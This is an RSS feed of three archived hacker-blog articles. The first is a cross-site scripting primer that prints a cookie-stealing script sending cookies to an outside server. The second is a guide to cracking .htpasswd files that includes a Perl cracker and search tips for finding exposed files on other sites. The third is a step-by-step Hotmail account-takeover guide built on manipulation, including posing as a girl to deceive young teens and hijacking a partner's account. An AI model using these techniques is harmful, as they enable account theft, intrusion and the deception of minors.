Hungry Hacker » Security http://www.hungryhacker.com The Hungry Hacker's Explanation of Everything Mon, 05 Sep 2011 03:44:34 +0000 en hourly 1 http://wordpress.org/?v=3.3.1 Cross-Site Scripting 101 http://www.hungryhacker.com/sec/cross-site-scripting-101/ http://www.hungryhacker.com/sec/cross-site-scripting-101/#comments Sat, 10 Dec 2005 12:26:05 +0000 fwaggle http://www.hungryhacker.com/?p=137 Cross-Site Scripting, or XSS for short, is a method used to compromise user access of a third party website in one manner or another. The actual result of the attack – ranging from session theft (you don’t log out, and the evildoer returns to the site using your credentials) to elaborate automated account hijacking – is unimportant for the purposes of this discussion. What’s important is the understanding that any small vulnerability (in either browser or web service) can easily be escalated into a full-scale, automated, “change your password and empty your paypal account” attack with the right time and devotion from the attacker.

XSS is by no means a new attack, and has been explained often before. It has not (to my knowledge) however been explained in a method which makes the average WordPress or phpBB2 user motivated to keep the software they use up to date.

It’s important to note that while javascript is the most commonly used language, it’s not the only one. VBscript, as well as other technologies such as ActiveX, Java and Flash can all be used for malicious purposes in one way or another.

Your average XSS attack involves three phases: find an attack vector; write script for said vector; and write a script for the end result. The attack vectors vary widely, because any time arbitrary javascript can be executed by a third party’s web browser after being injected by a malicious user, the service is vulnerable.

In the simplest form, an example could be a forum where the user can specify a URL for an image to be posted next to or under their name (commonly called “avatars”). If the forum software doesn’t adequately validate the form input and simply includes whatever is in the box in HTML output to other users, there’s an issue. This situation is common, but most decent forum packages will validate a URL passed to it. But for the sake of argument:

http://some.site.xyz/image.jpeg

becomes, when output:

<img src="http://some.site.xyz/image.jpeg" />

Thus, if we are malicious users:

http://some.site.xyz/image.jpeg" onload="alert('agh!');

becomes, when output:

<img src="http://some.site.xyz/image.jpeg" onload="alert('agh!');" />

When the output page is loaded in a javascript-enabled browser, a script alert dialog should appear. While not overly malicious, this simple test (which you will find on most security announcements regarding XSS vulnerabilities) simply illustrates the fact that unintended javascript is running on the website.

Of course, if you have a simple CGI “guestbook” script, one can simply include <script> tags in their guestbook entry if the entries aren’t properly validated.

In another example, some PHP programmers have been known to use the following:

<?PHP if ($_GET['page']) {
printf("<html><title>My Site</title>\n");
printf("<body>\n"); printf("<lh1>My Site</h1>\n");
readfile($_GET['page']);
printf("</body>\n");
printf("</html>\n");
} ?>

Now, assuming there is no other validation of the $_GET['url'], and the PHP setting “allow_url_fopen” is enabled (which it is, by default), then one can pass a remote URL to a page containing malicious javascript, and send the resulting url to a victim:

http://some.site.abc/showpage.php?page_url=http%3A%2F%2Fsome.evil.site.xyz%2Fpage.html

These two methods differ, because one is permanent and has the potential to net many users, and the other isn’t. The first method is commonly called “script injection”, because the page(s) is altered semi-permanently. The more recent example, visiting any other page on the website will not put you at risk of exposure.

A third example could be via logs and error messages. XSS vulnerabilities are found all the time in web-based software, as any time something that is passed from the user’s browser and is then redirected back to an HTML page it must be validated. In one scenario: if a malicious user can pass an invalid username and password to a website via the GET method, and the invalid username appears on the website without being validated, they can then craft an XSS attack inside the bounds of this text and pass the URL on to other users. This scenario depends on a certain level of user ignorance, however as people shouldn’t click on un-trusted login URLs.

In another example, if a user’s access of a website is logged, and then the logs are generated to HTML, then certain things such as the User Agent must be validated prior to being output – otherwise when the site administrator (or anyone else with logging access) views the log, their sessions are at risk.

“I’m confused, why is this an issue?”

The issue is that the potentially malicious script is executed by the browser without the current website’s permission or knowledge. Worse still: it’s more often than not run in the security context of the current website, meaning it has access to cookies, forms and such and can manipulate them.

For a display of the destructive power of XSS when used maliciously, look into the havoc it wreaked on the popular site “myspace.com”, or some other (slightly less destructive) uses.

Which leads us right into our next section, discussing the malicious javascript. If you’re feeling brave, and maintain your own website that uses cookies in any manner, feel free to append the following to one of your pages:

<script type="text/javascript"> document.location='http://www.hungryhacker.com/downloads/test.cgi?' + document.cookie; </script>

Don’t worry about the fact that you have access to edit your page and an attacker wouldn’t – I aim to prove by the end of this article that preventing XSS is quite difficult. The method used to get the script onto a popular website is irrelevant at this point. As we will discuss later in the mitigation section, the wily black-hat hacker is always coming up with new ways to inject unwanted scripts.

The script above will hopefully redirect the viewing browser to a script on my server, appending the current document’s cookie to the end of the URL. Because it’s for example purposes, all this particular script does is print back the cookie’s contents in plain text. However, it should be painfully obvious that the cookie could be logged, or whatever the attacker feels like doing with it.

Taking the attack a step further, when armed with a session cookie on many popular web applications, you can then steal that user’s session providing they don’t “log out” in the meantime. Mitigating this is tough – I make it a whole lot harder by tying a user’s session to his or her IP address for my webapps, but this breaks support for things like WebTV and some AOL users. Not to mention it still doesn’t stop the problems if the malicious user goes crazy with javascript and makes an automated script which changes your password and email address. It should be strongly noted that this scenario isn’t far-fetched.

Generally speaking the best idea is to disallow the insertion of arbitrary HTML or scripts in your site. This involves more than simply blacklisting <script> tags – one must be careful of attributes for all manner of tags (such as the <img> tag example above). A far better idea is to whitelist tags and their attributes, or if you are using something such as BBcode (from phpBB2 et al), carefully validating the URLs which are passed.

For non HTML, validate, validate, validate. Any time any text is taken from one user and sent to a web browser of any kind, one must ensure there are no HTML entities inside it which can cause us grief.

A popularly used quote from one Jon Postel is often reworded as “Be conservative in what you send, be liberal in what you accept” when it comes to software programming. I much prefer however, to adapt it to “be liberal in what you expect, be conservative in what you accept” – especially when it comes to user-passed data. I wholeheartedly recommend strong validation on any form of user input.

“But I’m not a developer!” I hear you cry. Since I began writing this article for non-programmer types, I managed to get a little off track, so I’ll attempt to bring us back. If you’re just an end user of some package or another on your website, you aren’t out of the woods yet. Your site can still be vulnerable to XSS and other methods, and part of my motivation in writing this article is that the average WordPress or MovableType user doesn’t take it anywhere near seriously enough. Don’t even get me started on phpBB2 users, either.

The first thing you need to do is find out if the particular packages or scripts you’re using have security announcement lists, and then subscribe to them if they’re available. If not, make it a habit to check the developer’s website for updates and security news – at the most, weekly – and apply updates as they become available. I believe the WordPress package includes security announcements in the administration page.

The next thing you need to do is take these announcements seriously. Generally speaking, for the average low-profile software user it’s not so important that you need to run home early from work just to patch your software. However, leaving it for any more than a week is just bad practice, try to aim for 48 hours.

The bottom line is, XSS and other subversive means aren’t going away. Thanks to some web browsers’ rendering of absolutely mangled HTML, there are an ever-increasing number of ways to sneak script onto dynamic webpages. About all you can do is arm yourself with information, and stay vigilant in your software updates.

]]> http://www.hungryhacker.com/sec/cross-site-scripting-101/feed/ 0 The GreyHat Guide to: cracking .htaccess/.htpasswd passwords http://www.hungryhacker.com/sec/the-greyhat-guide-to-cracking-htaccess-htpasswd-passwords/ http://www.hungryhacker.com/sec/the-greyhat-guide-to-cracking-htaccess-htpasswd-passwords/#comments Sun, 18 Sep 2005 09:12:43 +0000 fwaggle http://www.hungryhacker.com/?p=80 Notice: This is an historic article, something on the order of a decade old now. Most of the information in here still holds true, but there may be some stuff that’s outdated – it’s archived simply because it was a popular article for many people.

foreword

this article is intended to be an almost complete guide to cracking and protecting websites which utilize the .htaccess/.htpasswd method for controlling access to data. it’s not intended to be a how-to guide for hacking websites. if you’re looking for a simple howto and not interested in reading in-depth information, then this isn’t the text for you.

i’m considering writing a series of guides which for now i’m calling “grey hat guides”, since i consider myself half white hat and half black hat hacker. i do have my malicious streaks (mainly on my own stuff though, i enjoy breaking my own machines), but i am mostly white hat. i guess these guides will basically aim to give white hat hackers a security lecture from a black hat perspective. i dunno. *shrugs*

basic access control in apache

at it’s most basic level, access control in apache is specified in the httpd.conf (or equivalent file. these were previously three files, now merged into one for simplicity’s sake). the most basic directives are allow from and deny from. the default permissions for any given directory is allow from all (which will allow any client to get pages from that directory).

the format for these directives is as follows:

<Directory />
Order Deny,Allow
Deny from All
</Directory>

This will disallow any client from retrieving any file on your server, unless you explicitly allow files further up the tree. However, since sometimes normal users will want to control their own web directories, and it’s impractical (at least, at most, unsafe) to allow webmasters to modify the httpd.conf, we can specify to allow users to override certain directives using the allowoverride directive.

allowoverride

allowoverride (as stated above) allows non-root users to override access controls on a directory. you simply specify which directives you want the user to be able to override (the default is everything), and then apache looks in each directory for a .htaccess file (or other, specified with the AccessFilename directive) and applies the contents of that to it’s access control.

part of the access control, the part which we will be covering (given the scope of this document) is the authconfig directives. below we’ll view a typical .htaccess file for most sites with moderate to poor security (most porn sites simply use these, porn sites can actually be great practice to crack passwords).

/* a typical .htaccess file */
AuthName "Marvin Martian's Porn Emporium"
AuthType Basic
AuthUserFile /home/marvin/public_html/members/.htpasswd
require valid-user

as you can see above, there aren’t many directives required to provide password protection to a directory. as you can see, in this case, the webmaster has been pretty lazy and stuck the .htpasswd file inside the same directory. the format of the .htpasswd file is simple: <user>:<encryptedpassword>

a bad case

on a poorly secured server, there are no access restrictions on the .htpasswd file. since the .htpasswd file is in a web-accessible directory, and user which is able to authenticate to the directory is able to obtain the password list.

simply enter the url /members/.htpasswd, and you should receive a full userlist as well as all the encrypted passwords. very silly indeed. if the file doesn’t exist, on a poorly configured server one merely has to read the .htaccess file to obtain the location. if it is below the “web-root”, then it would require a cgi-exploit of some sort to obtain the file. but on any other directory, simply use the browser to obtain the file:

webmaster:TTn.VQRliM8c2
hornyguy:ZpgNeARi106aM
fatmike69:drXj18zVxxBVc

unfortunately, these passwords aren’t of much use in their current form. they require cracking.

cracking passwords

most unix passwords are encrypted using a “one way hash” or “trapdoor hash” – which entails actually losing data from the password in such a way that the original password simply cannot be obtained by reversing the algorithm.

the only way to crack such passwords is using brute force guessing attacks. a simple perl script can be used to achieve this:

#! /usr/bin/perl
# crack.pl by fwaggle root@fwaggle.net
open (PASSFILE, ".htpasswd");
my @passfile = <PASSFILE>;
close PASSFILE;
open (DICTFILE, "dictionary.txt");
my @dictfile = <DICTFILE>;
close DICTFILE;
foreach $line (@passfile) {
my ($username, $encpass) = split(/:/, $line);
foreach $attempt (@dictfile) {
if ($encpass eq crypt($attempt, $encpass)) {
print("Cracked: ${username}:${attempt}\n");
}
}
}

the above perl script is a simple brute force password cracker. it may or may not work, i didn’t actually test it before writing this article – but it closely resembles one i released to alt.hacking quite a while ago. whether it works or not, you should hopefully be able to see the process which password cracking requires (even for perl, the syntax is almost plain english).

better cracking performance

perl isn’t the quickest of languages, and using the standard crypt() calls aren’t exactly optimized for high speed cracking. a far better solution is to download a purpose-built, c coded password cracker such as john the ripper. john the ripper is optimized to crack passwords extra fast, as well as it includes an “incremental mode” in case your dictionary should fail to crack a password. ie, in the above example, if the user’s password doesn’t happen to be in the dictionary, then you won’t be able to crack it.

using an incremental password cracker, every character combination is tried, in an intelligent order (in a vain attempt to save time in something that is wholly unpredictable), so that absolutely any password will be cracked, eventually.

the one problem with john the ripper is that it’s picky about the files that it gets inputted. in order to crack the .htpasswd files, you must edit them to make them appear like regular unix /etc/passwd files. this means adding extra fields, like this:

<username>:<password>:1:1:user:/bin/sh:/root

for example, the entries above could look like this:

webmaster:TTn.VQRliM8c2:1:1:webmaster:/bin/sh:/root
hornyguy:ZpgNeARi106aM:3:3:hornyguy:/bin/sh:/root
fatmike69:drXj18zVxxBVc:3:3:hornyguy:/bin/sh:/root

the windows version doesn’t seem to require this for some reason, so you can just feed it a regular .htpasswd file. note that the windows version may have markedly poor performance when compared to the unix versions.

finding vulnerable servers

now that we’ve discussed how to break these passwords, it’s almost time to talk about securing them. if you’re only interested in hax0ring passwords from sites, chances are you’re probably well equipped to crack any password files you might stumble accross. if you’re just looking to hack anything, try searching in google or altavista for a phrase like .htpass, and wade through the results and see if you find a file that says “Index of /something” that contains a .htpasswd file.

if you have permission to read the file, you’ve basically hacked it already. this is admittedly a lame hack, but if you’re bored – do the net in general a favour. crack the passwords, and email them to the admin. that’s all i ever used to do, and you get the same sense of achievement and hacker cred, without the legal problems of defacements.

on a side note, the same results can be achieved by searching for service.pwd. this is the password file for fp-apache, the frontpage server extensions for apache. some really lame admins don’t check permissions on this file, and you can easily gain access to these kinds of systems (and if you’re feeling particularly malicious, just connect with a frontpage client and upload a defacement).

putting an end to this nonsense

if you’re running your own site, then here’s the section you’ll really be interested in – stopping someone from doing this to you. the first thing you need to do is prevent users from reading your .ht* files. the easiest way to hinder this is to put the .htpasswd file someplace that’s not web-accessible (such as your home dir, out of ~/public_html).

the next step, as an admin of a server, is to prevent apache from serving these pages from the web. there is no (i repeat NO) reason that a web client should ever need to see these pages, they are for server side configuration only.

so, we can easily accomplish this using the <Files> directive, and a nifty little regular expression:

<Files ~ "^\.ht">
Order allow,deny
Deny from all
</Files>

this particular example (taken from apache’s httpd.conf, now thankfully included in default distributions to keep lame admins from unknowingly putting themselves at risk) prevents the server from serving any files that begin with .ht. thus, .htaccess and .htpasswd are both protected.

the final step from here is to ensure that the files are protected on the server – meaning file permissions. the ideal situation is to have suEXEC for apache running, and to have the files accessible only by the httpd (but still owned by you). that way, you can chmod the files when you need to edit them, but cgi exploits will not allow users to read the files.

wrapping it up

well, this concludes my little rant about .htpasswd and .htaccess files. hopefully you learnt something from this. comments are always welcome, just email me. also, if you’re looking for a unix/unix-like irc channel to lurk on, come on our irc network (irc.hackerzlair.org) and join #hackerzlair – it’s lag free, packet kiddie free, and quite nice.

that about does it i think. maybe i’ll write some more of these files if i think about it.

]]> http://www.hungryhacker.com/sec/the-greyhat-guide-to-cracking-htaccess-htpasswd-passwords/feed/ 1 How do I “hack” Hotmail? http://www.hungryhacker.com/sec/how-do-i-hack-hotmail/ http://www.hungryhacker.com/sec/how-do-i-hack-hotmail/#comments Fri, 16 Sep 2005 09:25:13 +0000 fwaggle http://www.hungryhacker.com/?p=118 Note: This is a historic article, kept around for archival purposes only. It’s probably still somewhat relevant, as it serves pretty well for a primer on social engineering – but don’t expect everything listed here to work without a little brain-work involved. Do not email us with questions about this article, unless you want to take the chance of being publicly ridiculed.

This is one of the most awful questions we ever get asked, and it generally happens about once a week. The reasons vary, but not as widely as you might think – they almost always fit a certain pattern with certain keywords being replaced at will to disguise the message as we hopefully won’t realize how formulaic it actually is.

Anyway, there generally isn’t at any given time a “magic fireball” that will get you into your friend’s hotmail account. Every so often a hole will appear, and they’re generally tricky to execute and almost always require a certain amount of target stupidity. And chances are you won’t get ahold of it before it’s fixed, so just give up on that right now.

So what’s a budding hotmail “hacker” to do then?

Well since most every hotmail vulnerability I’ve seen involves a level of stupidity amongst the target, and despite the fact we’ve had nearly a decade of high-density media coverage of computer security issues there still are a lot of stupid users out there ripe for the picking – let’s discuss that. It’s basically called “abusing the stupid factor” but to most it’s generally known as social engineering.

Note firstly that this doesn’t make you a hacker. Note second that it’s probably illegal depending on where you live. Note third that we’ll not be held responsible for anything that you do and this article is merely for theoretical purposes to answer what seems to be a burning question to a small portion of the internet community and we’ll be on our way.

A crash course in Social Engineering

The full wonders of social engineering are well outside the scope of this article, but we can quickly skate over this topic that some people consider tantamount to “hacking people’s minds”. Simply put, social engineering is saying things that people want to hear before they will provide you with something they shouldn’t. You can confuse them, be deceitful, be intimidating, whatever you need to do to get the information out of someone – and if you’re doing it over the phone it’s not as easy as it sounds. It generally takes a lot of bravado and some experience, and you need to think like a chess player.

In the case of hotmail, we’ll generally be doing it over the internet unless you know your target personally. Let’s first analyze the angle of attack before we start worrying about trivial things such as how to get the information you need.

Hotmail and other web services

While the majority of our requests for webmail help are about hotmail, this article theoretically applies to any web based service that uses the same techniques for user verification. With a little modification you could apply it to all manner of things.

The first thing you need to do is enumerate what exactly it is that you need. At the time of writing, Hotmail has a two-step password reset process. For step #1, all you need to know is the person’s email address (surprise) and where they live down to the zip code. Getting this information out of someone is often tricky, but it’s not impossible.

For step #2, all you need is the answer to their “secret question” but before you can do this you need to know what the secret question is – meaning you need the other information first. The secret question is usually something like “what is your favorite pet’s name?” which if you craft the conversation just right, most people will think nothing of disclosing.

Target Acquired

Now that you know what you need, it’s time to go about getting it. The only idiot-proof advice I can give is be patient. Now you must learn as much as you can about your target. Most of the information that you’ll need will be easily to get out of the person, until you get to the zip code. You could of course use the zip code as your first point of attack – you know the way some phreaks think they’re being cute by asking others what area code they’re in? And then they look on their little sheet and are like “Long Beach, nice”? Well depending on your target’s demographics (fancy talk for where they live and what they do) you might be able to pass this off as being cute.

Never under estimate the power of impersonation. Get to know the target and figure out what they would be attracted to and emulate that (easiest if done online). If they’re an early teen boy, pretend to be a girl (don’t laugh, you’d be amazed at the information you can nail out of someone). If they’re a hacker wannabe, pretend you’ll mentor them (after all, you aren’t a wannabe, right? *chortle*). If they’re into nascar pretend you have the largest collection of memorabilia in Kansas.

This may take some research, but it’s worth the time and effort especially if you go very slow. Step #1 is to acquire the zip code by any means necessary. If the person has a domain, try the one that’s listed in their whois information for a start. Tell them you have a cool device that tells you how far they are away from you (google for zipdy if they want you to pony up with an answer). Whatever works.

Hook, line and sinker

Hopefully now you are armed with a zip code, and possibly even some answers to what might be their secret question. Browse on over to Hotmail’s lost password page, and enter their email address, country, state and zipcode. If you don’t have the state, you should be able to look it up either online or maybe in a phone book. Click submit and cross your fingers.

With any luck it should pop up with a secret question and a password/confirm password box. Now let’s work on that secret question, unless you already know it in which case you can skip to the next major subheading.

If the question is for example “favorite pet’s name” simply pretend to be an animal lover. Go on and on for hours about your favorite dog and how the neighbor ran over him in his Hummer and you were shattered for life. This will almost always (from a girl anyway) instigate a much longer rant about her favorite pet – which will almost always be named in the first paragraph but so as not to arouse suspicion you’ll need to listen to it all anyway.

Whatever the question is, think of a way to extract the answer out of the person. Maiden name? Pretend you know the person’s parents. With just a little thought it’s really not hard.

Here comes the money shot!

Go back to your lost password page, and fill in all the information and cross your fingers. With a sprinkling of luck you’ll be greeted with the other person’s hotmail account for you to perform your evil deeds. Not that anyone would actually carry this out of course, what with the legal ramifications and whatnot.

There are of course some problems with this technique. Firstly, Hotmail are bound to change. That means that there may be other steps involved, and to be honest I can’t be bothered looking at hotmail every day of the week to see. Your mileage may vary. Secondly, if you don’t want to do hotmail and want to do say, Yahoo! it will need some changing too. Thirdly, you will often get someone who’s information you just can’t get, or it’s wrong. IE, someone who uses another answer for their secret question – you will have a hard time extracting that from them. Your mileage may vary.

I want to hack my wife/girlfriend/husband/boyfriend’s Hotmail!

The problem I have with this question is that after reading the above guide it should be painfully obvious that if you indeed have a relationship with this person, then you should be armed with all the information you need anyway. So if you do, knock your socks off. If you don’t, shut the hell up and come up with a better story.

Wait! I don’t want to change their password!

well, at the moment that part is up to you. You could always pretend you’re a hotmail employee (after all you do have access to their account now) and tell them you need to reset their password before they get in, and ask them what it is. Your mileage may vary, I’ve never actually put this into practice (other than testing it on a fake email account an associate setup) so I haven’t put too much thought into getting away with it. The rest is up to you, should you decide to do something silly.

]]> http://www.hungryhacker.com/sec/how-do-i-hack-hotmail/feed/ 1